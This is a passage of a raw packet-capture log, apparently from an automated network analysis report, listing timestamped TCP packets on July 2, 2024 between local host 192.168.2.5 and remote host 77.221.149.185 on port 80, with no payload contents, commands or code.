Jul 2, 2024 22:52:29.379897118 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.379908085 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.379913092 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.379926920 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.379946947 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.380031109 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.380040884 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.380072117 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.380143881 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.380156040 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.380167007 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.380177021 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.380188942 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.380192995 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.380198956 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.380220890 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.380235910 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.380564928 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.380574942 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.380585909 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.380629063 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.380639076 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.380650997 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.380665064 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.380706072 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.380717039 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.380743980 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.381066084 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.381150007 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.381162882 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.381196976 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.381208897 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.381220102 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.381223917 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.381232023 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.381256104 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.381297112 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.381308079 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.381339073 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.381488085 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.381524086 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.381535053 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.381562948 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.381572962 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.381618023 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.381629944 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.381640911 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.381692886 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.381695986 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.381788015 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.382707119 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.382718086 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.382729053 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.382756948 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.382821083 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.382875919 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.382879019 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.382888079 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.382898092 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.382922888 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.383451939 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.383462906 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.383475065 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.383503914 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.383531094 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.383606911 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.383619070 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.383630037 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.383641958 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.383656979 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.383683920 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.463848114 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.463911057 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.463922977 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.463972092 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.464001894 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.464011908 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.464023113 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.464032888 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.464262009 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.464272022 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.464282990 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.464322090 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.464350939 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.464359045 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.464370012 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.464380026 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.464389086 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.464400053 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.464411020 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.464427948 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.464607000 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.464616060 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.464626074 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.464634895 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.464644909 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.464652061 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.464654922 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.464677095 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.465074062 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.465084076 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.465094090 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.465132952 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.465167999 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.465178013 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.465193033 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.465204000 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.465223074 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.465260983 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.465905905 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.465950012 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.465958118 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.465993881 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.466444969 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.466456890 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.466466904 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.466476917 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.466499090 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.466520071 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.467360973 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.467370987 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.467381001 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.467437983 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.467447042 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.467488050 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.467498064 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.467509985 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.467520952 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.467534065 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.467560053 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.467645884 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.467655897 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.467664957 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.467674971 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.467684031 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.467700958 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.467729092 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.467853069 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.467861891 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.467910051 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.467945099 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.467956066 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.467966080 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.467976093 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.467986107 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.467988014 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.467995882 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.468017101 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.468055010 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.468238115 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.468247890 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.468257904 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.468267918 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.468277931 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.468283892 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.468286037 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.468296051 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.468302965 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.468305111 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.468327045 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.468359947 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.468487978 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.468539000 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.468574047 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.468588114 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.468599081 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.468609095 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.468620062 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.468628883 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.468631983 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.468648911 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.468678951 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.468852043 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.468861103 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.468869925 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.468899965 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.468982935 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.468992949 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.469003916 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.469012976 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.469029903 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.469063044 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.469693899 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.469738007 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.469741106 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.469748020 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.469783068 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.469862938 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.469871998 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.469882965 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.469892979 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.469913960 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.469926119 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.470268011 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.470278025 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.470288038 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.470314980 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.470449924 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.470458984 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.470468998 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.470478058 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.470494986 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.470532894 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.470742941 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.470793009 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.470794916 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.470803022 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.470848083 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.470916033 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.470927000 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.470936060 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.470943928 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.470976114 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.471003056 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.471402884 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.471414089 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.471419096 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.471476078 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.471501112 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.471510887 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.471522093 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.471530914 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.471549988 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.471565962 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.471573114 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.471616983 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.472289085 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.472299099 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.472307920 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.472338915 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.472364902 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.472373962 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.472383976 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.472393990 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.472414970 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.472443104 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.472453117 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.472500086 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.553889990 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.553919077 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.553937912 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.553947926 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.553957939 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.553967953 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.553972960 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.553980112 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.554017067 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.554071903 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.554083109 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.554092884 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.554121017 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.554145098 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.554156065 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.554167032 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.554177046 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.554189920 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.554200888 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.554203033 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.554212093 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.554231882 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.554265022 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.554498911 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.554510117 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.554521084 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.554527998 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.554569006 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.554625988 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.554636955 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.554675102 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.554709911 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.554721117 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.554733038 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.554744005 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.554749966 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.554754019 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.554776907 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.554946899 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.554965019 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.554990053 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.554994106 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.555006027 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.555015087 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.555025101 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.555028915 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.555036068 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.555052042 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.555054903 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.555061102 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.555073023 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.555095911 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.556036949 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.556077003 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.556090117 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.556128979 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.556190014 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.556200981 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.556212902 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.556225061 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.556243896 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.556261063 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.556313992 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.556358099 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.556368113 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.556368113 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.556410074 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.556471109 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.556485891 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.556499004 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.556559086 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.556565046 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.556570053 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.556581974 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.556612968 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.556633949 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.556668043 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.556679964 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.556724072 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.556786060 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.556797028 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.556807041 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.556818008 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.556828022 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.556838989 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.556850910 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.556883097 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.556994915 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.557005882 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.557015896 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.557081938 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:29.557125092 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.557136059 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.557147026 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:29.557154894 CEST	80	49712	77.221.149.185	192.168.2.5
